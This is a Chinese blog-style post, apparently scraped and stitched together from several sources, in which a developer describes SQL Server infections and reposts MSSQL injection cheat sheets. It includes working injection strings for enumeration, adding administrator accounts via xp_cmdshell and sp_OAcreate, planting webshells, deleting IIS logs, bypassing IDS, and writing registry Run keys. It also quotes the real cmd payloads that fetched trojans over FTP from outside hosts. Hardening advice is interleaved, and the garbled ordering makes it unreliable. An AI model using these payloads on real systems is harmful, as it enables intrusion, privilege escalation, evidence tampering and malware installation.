自己的开发机经历了两次的中毒现像.每次中毒的现像,都是sqlserver.exe进程去执行cmd.com进程,然后生成*.sys与*.bat两个文件,然后去使用ftp.exe去下载木马下载器,然后杀毒软件开始报警了.

net user SQLDebugger list /add 
net localgroup administrators SQLDebugger /add 

sql手工注入语句&SQL手工注入大全(转),sql注入语句

转自脚本之家:

看看下面的
1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是否是mssql
;and user>0

3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
‘and [查询条件] and ”=’

5.搜索时没过滤参数的
‘and [查询条件] and ‘%25’=’

6.猜数据库
;and (select Count(*) from [数据库名])>0

7.猜字段
;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
;and 1=(select IS_MEMBER(‘db_owner’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username
/add’;–

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not
in(‘上步得到的paths’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;–
获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type
c:\web\index.asp’;– 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’
以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’
返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestvalueName’,’reg_sz’,’hello’
写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestvalueName’
删除某个值
xp_regdeletekey
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’
删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’c:\l.asp’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’g:\wwwtest\l.asp’;

请求的时候,像这样子用:

SQL手工注入大全

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

if exists (select * from dbo.sysobjects where
id=object_id(N'[dbo].[xpcmdshell]’) and
OBJECTPROPERTY(id,N’IsExtendedProc’)=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’

2.添加xp_cmdshell扩展过程的方法是使用如下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc ‘xp_cmdshell’,’xpsql70.dll’

去除

sp_dropextendedproc ‘xp_cmdshell’

(3)MSSQL2000

sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’

?

SQL手工注入方法总结(SQL Server2005)2010-01-28
16:17———以下以省略注入点用URL代替

–(1) ******查看驱动器方法******

— 建表p(i为自动编号,a记录盘符类似”c:\”,b记录可用字节,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c
nvarchar(255),d nvarchar(255));–

URL;insert p exec xp_availablemedia;–列出所有驱动器并插入表p

URL;and (select count(*) from p)>3;–折半法查出驱动器总数

URL;and ascii(substring((select a from p where
i=1),1,1))=67;–折半法查出驱动器名(注asc(c)=67)

–上面一般用于无显错情况下使用——-以此类推,得到所有驱动器名

URL;and (select a from p where i=1)>3;–报错得到第一个驱动器名

–上面一般用于显错情况下使用——-以此类推,得到所有驱动器名

URL;;drop table p;–删除表p

–(2) ******查看目录方法******

URL;create table pa(m nvarchar(255),i
nvarchar(255));–建表pa(m记录目录,i记录深度)

URL;insert pa exec xp_dirtree ’e:’;–列出驱动器e并插入表pa

URL;and (select count(*) from pa where
i>0)>-1;–折半法查出i深度

URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m
from pa))>0;–报错得到深度i=1的第一个目录名

–上面一般用显错且目录名不为数字情况下使用——-(得到第二个目录把”top
0″换为”top 1″,换深度只换i就行)以此类推,得到e盘的所有目录

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0
m from pa)))>0;–折半法查出深度i=1的第一个目录名的长度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not
in(select top 0 m from
pa)),1,1))>0;–折半法查出深度i=1的第一个目录名的第一个字符长度

–上面一般用无显错情况下使用——-(得到第二个目录把”top 0″换为”top
1″,换深度只换i就行)以此类推,得到e盘的所有目录

URL;drop

手工MSSQL注入常用SQL语句
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName)
//判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1)
//暴库名DBID为1,2,3….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND
name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name=
‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread
‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual
Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from
labeng where lala>1)
—————————————————————————————————————————————————————分割
SQL Server
判断是否可注射:

and 1=1
and 1=2
and 1=1
and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
确定数据库类型:
and user>0
and (select count(*) from
sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1–
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1–
article.asp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where
xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password=’oooooo’ where username=’xxx’
增添数据库中的数据:
;insert into admin values (xxx,oooooo)–
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int–
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\’
判断扩展存储过程是否存在:and select count(*) from
master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not
in(select top 1 name from master.dbo.sysdatabases order by dbid) order
by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell ‘del
c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy
c:\winnt\system32\logfiles\w3svc5\ex070404.log
c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell’,@shell out
;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s
d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp’
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum
w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum
w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual
roots\’
‘/’
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
‘xp_cmdshell’)
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
‘xp_regread’)
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
‘sp_makewebtask’)
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
‘sp_addextendedproc’)
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
‘xp_subdirs’)
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
‘xp_dirtree’)
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell ‘dir c:\’
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker
/add’
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread
‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual
Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;–
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to
disk=’c:\inetpub\wwwroot\down.bak’;–
删除表dirs:
;drop table dirs;–
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3 nvarchar(255));–
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
删除表temp:
;delete from temp;–
创建表dirs:
;create table dirs(paths varchar(100), id int);–
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;–
创建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell ‘dir c:\’
删除表dirs:
;delete from dirs;–
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
‘SP_OAcreate’)
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC
SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net
user hacker 123456 /add’
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC
SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md
c:\inetpub\wwwroot\1111’
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec
sp_oamethod @o, ‘run’, NULL,’ cscript.exe
c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec
sp_oamethod @o, ‘run’, NULL,’ cscript.exe
c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
启动SERVER服务:
;exec master..xp_servicecontrol ‘start’, ‘server’
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
开启远程数据库1:
; select * from OPENROWSET(‘SQLOLEDB’,
‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
开启远程数据库2:
;select * from OPENROWSET(‘SQLOLEDB’,
‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’,
‘select * from table’

已经开始冒汗了.

原文地址:

转自脚本之家: 看看下面的 1.判断是否有注入 ;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and us…

    下面是cmd.com执行指令内容
    “C:”WINDOWS”system32″cmd.com” /c net1 stop sharedaccess&echo open
218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo
11>>dboy.sys&echo get pc.exe C:”boots.exe>>dboy.sys&echo
bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy
C:”boots.exeC:”WINDOWS”system32″inf”test.exe&echo start start /high “”
C:”WINDOWS”system32″inf”test.exe&echo start
C:”boots.exe>>dboy.bat&echo start
C:”boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del
%0>>dboy.bat&dboy.bat

Error Message:未能找到存储过程 ‘master..xp_cmdshell’。 

    “C:”WINDOWS”system32″cmd.com” /c sc stop sharedaccess&echo open
ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo
if>>dboy1.sys&echo get dboy1.exe
C:”Windows”tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo
ftp -s:dboy1.sys>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo del
dboy1.sys>>system1.bat&echo del
%0>>system1.bat&system1.bat

修复法:很通用的,其实碰到 其他126 127的都可以一起修复, 

   第一次中毒,之后,就对sql server进行了加强,删除了”xp_cmdshell”这个sql
server中最不安全的扩展存储过程.不过,好了没一个月,又来中一次.
  
这一次,我检查了数据库日志,xp_cmdshell并没有恢复,不过却在日志在发现了sp_oacreate与sp_oamethod两个存储过程的执行日志.
   于是上网学习,把自己的学习的一些东西记录下来:
   1. 初级sql注入攻击
   初级黑客攻击SQL
Server时,首先采用的方法是执行master数据库中的扩展存储过程xp_cmdshell命令来执行一些指令,添加用户,添加文件,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储过程就可以了.
   xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
   Exec master..xp_cmdshell ‘dir’
   将获得SQLSERVER进程的当前工作目录中的目录列表。如图:

除了xplog70.dll其他的都可以用这命令修复 
[/post]xp_cmdshell新的恢复办法 
第一步先删除: 
drop procedure sp_addextendedproc 
drop procedure sp_oacreate 
exec sp_dropextendedproc ‘xp_cmdshell’ 
服务器: 消息 3701,级别 11,状态 5,行 1 
无法 除去 过程 ‘sp_addextendedproc’,因为它在系统目录中不存在。 
服务器: 消息 3701,级别 11,状态 5,过程 sp_dropextendedproc,行 18 
无法 除去 过程 ‘xp_cmdshell’,因为它在系统目录中不存在。 
第二步恢复: 
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”) 
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”) 
直接恢复,不管sp_addextendedproc是不是存在 

ca88会员 1

xplog70.dll修复: 

 

Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因:
126(找不到指定的模块。)。 

   Exec master..xp_cmdshell ‘net user’
  
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

修复XPLOG70.DLL(先用文件查看下备份的目录下\x86\bin,然后把下面目录替换) 

  
从上面的两个示例中可以看出xp_cmdshell的强大功能,功能的强大也意味着破坏性的强大.
  
一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。  
 
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   ‘xp_cmdshell’
   Go    
         
   如果需要的话,可以把xp_cmdshell恢复回来:    
   Use   Master    
   Exec   sp_addextendedproc   ‘xp_cmdshell’, ‘xplog70.dll’
   Go    

第一步 
exec sp_dropextendedproc ‘xp_cmdshell’ 
第二步 
dbcc addextendedproc
(“xp_cmdshell”,”c:\sql2ksp4\x86\binn\xplog70.dll”) 

   如果有必要可以把xplog70.dll这个文件也删除了,记得做好备份.

未能找到存储过程 ‘master..xp_cmdshell’。 
第一步: 
create procedure sp_addextendedproc — 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call 

sql 2005:

*/ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,’sp_addextendedproc’) 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) — sp_addextendedproc 
GO 
第二步: 
EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o
int 

    sql 2005默认情况下是不能执行xp_cmdshell存储过程的,但这就安全了吗?

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。 

 
开启xp_cmdshell存储过程的执行权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭xp_cmdshell存储过程的执行权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

;EXEC sp_configure ‘show advanced options’, 1 — 
;RECONFIGURE WITH OVERRIDE — 
;EXEC sp_configure ‘xp_cmdshell’, 1 — 
;RECONFIGURE WITH OVERRIDE — 
;EXEC sp_configure    ‘show advanced options’, 0 — 

 

删除sql危险存储: 
DROP PROCEDURE sp_makewebtask 
exec master..sp_dropextendedproc xp_cmdshell 
exec master..sp_dropextendedproc xp_dirtree 
exec master..sp_dropextendedproc xp_fileexist 
exec master..sp_dropextendedproc xp_terminate_process 
exec master..sp_dropextendedproc sp_oamethod 
exec master..sp_dropextendedproc sp_oacreate 
exec master..sp_dropextendedproc xp_regaddmultistring 
exec master..sp_dropextendedproc xp_regdeletekey 
exec master..sp_dropextendedproc xp_regdeletevalue 
exec master..sp_dropextendedproc xp_regenumkeys 
exec master..sp_dropextendedproc xp_regenumvalues 
exec master..sp_dropextendedproc sp_add_job 
exec master..sp_dropextendedproc sp_addtask 
exec master..sp_dropextendedproc xp_regread 
exec master..sp_dropextendedproc xp_regwrite 
exec master..sp_dropextendedproc xp_readwebtask 
exec master..sp_dropextendedproc xp_makewebtask 
exec master..sp_dropextendedproc xp_regremovemultistring 
exec master..sp_dropextendedproc sp_OACreate 
DROP PROCEDURE sp_addextendedproc 

 

恢复扩展存储过程的办法 
先恢复sp_addextendedproc,语句如下: 
第一: 
create procedure sp_addextendedproc — 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */ as 
set implicit_transactions off 
if @@trancount > 0    
begin 
raiserror(15002,-1,-1,’sp_addextendedproc’)    
return (1)    
end 
dbcc addextendedproc( @functname, @dllname)    
return (0) — sp_addextendedproc 
GO 

  
删除了xplog70.dll将影响到”企业管理器”的一部分功能,我碰到的是无法在”企业管理器”中查看数据库服务器的属性.
   
   2.中级sql注入攻击
     我们进行了上面这一步的操作之后,就可以防护住了sql
server的安全了吗?不行,这只能针对一些刚学习sql注入的菜鸟才可行的办法,对于中鸟及老鸟可不行,他们的方法可多了.
     现在让我们来看一下中级注入的方法.
    
当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也禁止了文件上传功能,那么针对初级来说使用xp_cmdshell来进行一些操作已经不可行了.
     但是微软还提供了一些其他功能的存储过程,可以让中级黑客进行入侵.
     1) 利用OLE对象接口
      SQL
SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
      可以利用他们调用OLE控件,间接获取一个
shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

第二: 
use master    
exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’    
exec sp_addextendedproc xp_dirtree,’xpstar.dll’    
exec sp_addextendedproc xp_enumgroups,’xplog70.dll’    
exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’    
exec sp_addextendedproc xp_loginconfig,’xplog70.dll’    
exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’    
exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’    
exec sp_addextendedproc sp_OACreate,’odsole70.dll’    
exec sp_addextendedproc sp_OADestroy,’odsole70.dll’    
exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’    
exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’    
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’    
exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’    
exec sp_addextendedproc sp_OAStop,’odsole70.dll’    
exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’    
exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’    
exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’    
exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’    
exec sp_addextendedproc xp_regread,’xpstar.dll’    
exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’    
exec sp_addextendedproc xp_regwrite,’xpstar.dll’    
exec sp_addextendedproc xp_availablemedia,’xpstar.dll’ 

      DECLARE @shell INT
      EXEC SP_OAcreate ‘wscript.shell’,@shell out
      EXEC SP_OAMETHOD @shell,’run’,null, ‘net user hack hack /add’

删除扩展存储过过程xp_cmdshell的语句: 
exec sp_dropextendedproc ‘xp_cmdshell’ 

    2) 开启access的沙盒模式
       在默认情况下Jet数据引擎不支持select shell(“net user ray ray
/add”)这样的SQL语句,
       但是开启了JET引擎的沙盒模式后就可以执行命令,
       先利用xp_regwrite存储过程改写注册表,然后利用
OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

恢复cmdshell的sql语句 
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ 

       EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare”Microsoft”Jet”4.0   
“Engines’,’SandBoxMode’,’REG_DWORD’,3

开启cmdshell的sql语句 
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ 

    SandBoxmode值说明
    默认值为2,
    0–表示始终禁用SandBoxmode模式,
    1–表示对于非Acess应用程序试用SandBoxmode模式,
    2–表示对access应用程序使用SandBoxmode模式,
    3–则表示完全开启安全设置。

判断存储扩展是否存在 
select count(*) from master.dbo.sysobjects where xtype=’x’ and
name=’xp_cmdshell’ 
返回结果为1就ok 

        Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:”windows”system32″ias”ias.mdb’,’select
shell(“net user hack hack /add”)’);

恢复xp_cmdshell 
exec master.dbo.addextendedproc ‘xp_cmdshell’,’xplog70.dll’;select
count(*) from master.dbo.sysobjects where xtype=’x’ and
name=’xp_cmdshell’ 
返回结果为1就ok 
否则上传xplog7.0.dll 
exec master.dbo.addextendedproc
‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’ 

 
     3) 利用xp_regxxxxx之类的存储过程写注册表项
    这个方法只有sa账户或是sysadmin权限的帐户才可以使用.
    执行
    exec xp_regread ”HKEY_LOCAL_MACHINE”,
”SECURITY”SAM”Domains”Account”, ”F”
    如果碰到一个粗心的管理员,说不定就能得到管理员的密码.
    加一个启动项什么的自然不在话下。
    利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。
    EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE”Microsoft”Windows”currentversion”run’,’shell’,’REG_SZ’,’C:”windows”system32″cmd.exe
/c net user hack hack /add’

堵上cmdshell的sql语句 
sp_dropextendedproc “xp_cmdshell 

    如果有必要就把这些扩展都删除了
    Xp_regaddmultistring (向注册表中增加项目)
    Xp_regdeletekey (从注册表中删除一个键)
    Xp_regdeletevalue (从注册表中删除一个键值)
    Xp_regenumvalues (列举主键下的键值)
    Xp_regread (读去一个主键下的键值)
    Xp_regremovemultistring (从注册表中删除项目)
    Xp_regwrite (向注册表中写入数据)

一.更改sa口令方法: 
用sql综合利用工具连接后,执行命令: 
exec sp_password NULL,’新密码’,’sa’ 
(提示:慎用!) 

    4 ) 利用SQL代理执行命令
      
默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

二.简单修补sa弱口令. 

        exec master.dbo.xp_servicecontrol ‘start’,’SQLSERVERAGENT’
        use msdb exec sp_delete_job null,’x’
        exec sp_add_job ‘x’
        exec sp_add_jobstep Null,’x’,Null,’1′,’CMDEXEC’,’cmd /c Dir
C:”‘
        exec sp_add_jobserver Null,’x’,@@servername exec
sp_start_job ‘x’

方法1:查询分离器连接后执行: 
if exists (select * from 
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]’) and 
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1) 

  
 除了我举的上面四种方式外,还有其他方式,不过我不太了解,我就不一一列举了。

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’ 

   三、其他获取系统信息
    
    历遍目录
    exec master.dbo.xp_dirtree ‘c:”‘
    获取子目录
    exec master.dbo.xp_subdirs ‘c:”‘
    列举可用的系统分区
    exec master.dbo.xp_availablemedia
    判断目录或文件是否存在
    exec master..xp_fileexist ‘c:”boot.ini’
    等等,不一一列举了.

GO 
然后按F5键命令执行完毕 

    四、高级注入技术
       
对于高级注入技术,我在网上没找到相关的学习资料,我想这些技术也应该是在一小部分人群中传播的。所以也就无从讲起了。

方法2:查询分离器连接后 
第一步执行:use master 
第二步执行:sp_dropextendedproc ‘xp_cmdshell’ 
然后按F5键命令执行完毕 

